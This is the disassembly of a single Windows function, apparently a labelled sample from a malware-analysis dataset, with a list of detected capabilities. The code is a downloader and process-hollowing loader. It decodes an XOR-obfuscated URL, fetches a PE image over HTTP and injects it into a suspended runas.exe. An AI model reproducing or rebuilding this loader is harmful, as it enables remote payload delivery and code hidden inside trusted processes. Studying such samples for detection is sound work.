Function at 0x1400011c0
Capabilities:
Allocate or change rwx memory
Create http request
Create process on windows
Create process suspended
Create thread
Encode data using xor
Execute shellcode via indirect call
Inject thread
Read data from internet
Receive data
Resume thread
Spawn thread to rwx shellcode
Suspend thread
Use process replacement

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x1090]
mov eax, 0x1190
call fcn.140002b60
sub rsp, rax
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x1080], rax
mov ecx, 0x20
call qword [sym.imp.KERNEL32.dll_WerSetFlags]
mov ebx, eax
test eax, eax
jns 0x140001247
lea rdx, str.Failed_to_set_WER_flags._HRESULT:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.1400018b0
mov rcx, rax
mov edx, ebx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___long_int____ptr64]
mov rcx, rax
lea rdx, [0x140001a90]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov eax, 1
jmp 0x14000179a
lea rdx, str.Loading...
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400018b0
mov rcx, rax
lea rdx, [0x140001a90]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xor r13d, r13d
mov dword [rsp + 0x20], r13d
xor r9d, r9d
xor r8d, r8d
mov r15d, 1
mov edx, r15d
lea rcx, str.HttpAgent
call qword [sym.imp.WININET.dll_InternetOpenA]
mov r14, rax
mov byte [rsp + 0x50], 0x18
mov byte [rsp + 0x51], r15b
mov byte [rsp + 0x52], 2
mov byte [rsp + 0x53], 0xd
mov byte [rsp + 0x54], 0x40
mov byte [rsp + 0x55], 0x52
mov byte [rsp + 0x56], 0x5a
mov byte [rsp + 0x57], 2
mov byte [rsp + 0x58], 0x12
mov byte [rsp + 0x59], 4
mov byte [rsp + 0x5a], 0x1c
mov byte [rsp + 0x5b], 0xb
mov byte [rsp + 0x5c], 0x15
mov byte [rsp + 0x5d], 0x50
mov byte [rsp + 0x5e], 0x12
mov byte [rsp + 0x5f], 0xe4
mov byte [rsp + 0x60], 0xed
mov byte [rsp + 0x61], 0xaa
mov byte [rsp + 0x62], 0xe5
mov byte [rsp + 0x63], 0xec
mov byte [rsp + 0x64], 0xe9
mov byte [rsp + 0x65], 0xec
mov byte [rsp + 0x66], 0xab
mov byte [rsp + 0x67], 0xf1
mov byte [rsp + 0x68], 0xef
mov byte [rsp + 0x69], 0xf6
mov byte [rsp + 0x6a], 0x8d
movzx eax, byte [rsp + 0x50]
mov r9d, r13d
mov r12d, 0xf
movabs r10, 0xb00176ce92bf9571
movzx r8d, byte [rsp + r9 + 0x50]
mov rcx, r9
and ecx, r12d
cmp rcx, r12
cmovae rcx, r12
shl cl, 2
mov rdx, r10
shr rdx, cl
and dl, r12b
lea eax, [r9 + 0x71]
xor dl, al
xor dl, r8b
mov byte [rsp + r9 + 0x50], dl
inc r9
cmp r9, 0x1b
jb 0x140001330
xorps xmm0, xmm0
movups xmmword [rbp - 0x18], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 8], xmm1
lea rax, [rsp + 0x50]
mov rbx, 0xffffffffffffffff
inc rbx
cmp byte [rax + rbx], r13b
jne 0x140001381
movabs rdi, 0x7fffffffffffffff
cmp rbx, rdi
ja 0x1400017ca
cmp rbx, r12
ja 0x1400013c5
mov qword [rbp - 8], rbx
mov qword [rbp], r12
mov r8, rbx
lea rdx, [rsp + 0x50]
lea rcx, [rbp - 0x18]
call sub.VCRUNTIME140.dll_memcpy
mov byte [rbp + rbx - 0x18], r13b
jmp 0x14000145a
mov rax, rbx
or rax, r12
cmp rax, rdi
jbe 0x1400013fd
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.140001e14
test rax, rax
je 0x14000178b
lea rsi, [rax + 0x27]
and rsi, 0xffffffffffffffe0
mov qword [rsi - 8], rax
jmp 0x14000143a
mov rdi, rax
mov ecx, 0x16
cmp rax, rcx
cmovb rdi, rcx
lea rcx, [rdi + 1]
test rcx, rcx
jne 0x14000141a
mov rsi, r13
jmp 0x14000143a
cmp rcx, 0x1000
jb 0x140001432
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1400017d0
jmp 0x1400013de
call fcn.140001e14
mov rsi, rax
mov qword [rbp - 0x18], rsi
mov qword [rbp - 8], rbx
mov qword [rbp], rdi
mov r8, rbx
lea rdx, [rsp + 0x50]
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
mov byte [rsi + rbx], r13b
lea rdx, [rbp - 0x18]
cmp qword [rbp], 0xf
cmova rdx, qword [rbp - 0x18]
mov qword [rsp + 0x28], r13
mov dword [rsp + 0x20], 0x80000000
xor r9d, r9d
xor r8d, r8d
mov rcx, r14
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
mov rsi, rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x38], xmm0
mov qword [rbp - 0x28], r13
mov qword [rbp - 0x20], r12
mov byte [rbp - 0x38], 0
lea r9, [rbp - 0x40]
mov r8d, 0x1000
lea rdx, [rbp + 0x80]
mov rcx, rax
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x140001546
nop dword [rax]
mov eax, dword [rbp - 0x40]
test eax, eax
je 0x140001546
mov edi, eax
mov rcx, qword [rbp - 0x28]
mov rdx, qword [rbp - 0x20]
mov rax, rdx
sub rax, rcx
cmp rdi, rax
ja 0x14000150c
lea rax, [rdi + rcx]
mov qword [rbp - 0x28], rax
lea rbx, [rbp - 0x38]
cmp rdx, 0xf
cmova rbx, qword [rbp - 0x38]
add rbx, rcx
mov r8d, edi
lea rdx, [rbp + 0x80]
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rdi + rbx], 0
jmp 0x140001524
mov qword [rsp + 0x20], rdi
lea r9, [rbp + 0x80]
mov rdx, rdi
lea rcx, [rbp - 0x38]
call fcn.140001ad0
lea r9, [rbp - 0x40]
mov r8d, 0x1000
lea rdx, [rbp + 0x80]
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x1400014c0
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
lea rsi, [rbp - 0x38]
cmp qword [rbp - 0x20], 0xf
cmova rsi, qword [rbp - 0x38]
movsxd r14, dword [rsi + 0x3c]
add r14, rsi
mov dword [rbp + 0x10], 0x68
xorps xmm0, xmm0
movups xmmword [rbp + 0x18], xmm0
movups xmmword [rbp + 0x28], xmm0
movups xmmword [rbp + 0x38], xmm0
movups xmmword [rbp + 0x48], xmm0
movups xmmword [rbp + 0x58], xmm0
movups xmmword [rbp + 0x68], xmm0
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov r12, rax
lea rdx, str.NtQueryInformationProcess
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
lea rax, [rsp + 0x78]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x10]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r13
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], r13d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, str.C:WindowsSystem32_runas.exe
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x14000170b
lea rax, [rbp + 8]
mov qword [rsp + 0x20], rax
mov r9d, 0x30
lea r8, [rbp - 0x70]
xor edx, edx
mov rcx, qword [rsp + 0x78]
call rbx
mov r8d, dword [r14 + 0x50]
mov dword [rsp + 0x20], 0x40
xor edx, edx
mov r9d, 0x3000
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rsp + 0x70], rax
mov r9d, dword [r14 + 0x54]
mov qword [rsp + 0x20], r13
mov r8, rsi
mov rdx, rax
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
movsxd rbx, dword [rsi + 0x3c]
add rbx, 0x11c
mov edi, r13d
cmp r13w, word [r14 + 6]
jae 0x140001693
add rbx, rsi
mov r9d, dword [rbx - 4]
mov r8d, dword [rbx]
add r8, rsi
mov edx, dword [rbx - 8]
add rdx, qword [rsp + 0x70]
mov qword [rsp + 0x20], r13
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
lea rbx, [rbx + 0x28]
inc edi
movzx eax, word [r14 + 6]
cmp edi, eax
jl 0x140001662
mov rdx, qword [rbp - 0x68]
add rdx, 0x10
mov qword [rsp + 0x20], r13
mov r9d, 8
lea r8, [rsp + 0x70]
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov r9d, dword [r14 + 0x28]
add r9, qword [rsp + 0x70]
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], 4
mov qword [rsp + 0x20], r13
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov rbx, rax
mov rcx, qword [rbp - 0x80]
call qword [sym.imp.KERNEL32.dll_SuspendThread]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov rcx, rsi
call fcn.140001c90
mov r15d, r13d
mov rdx, qword [rbp - 0x20]
cmp rdx, 0xf
jbe 0x140001749
inc rdx
mov rcx, qword [rbp - 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001744
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001744
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140001c90
mov qword [rbp - 0x28], r13
mov qword [rbp - 0x20], 0xf
mov byte [rbp - 0x38], 0
mov rdx, qword [rbp]
cmp rdx, 0xf
jbe 0x140001797
inc rdx
mov rcx, qword [rbp - 0x18]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001792
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001792
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140001c90
mov eax, r15d
mov rcx, qword [rbp + 0x1080]
xor rcx, rsp
call fcn.140001c70
lea r11, [rsp + 0x1190]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.1400011a0
int3
call fcn.140001100
int3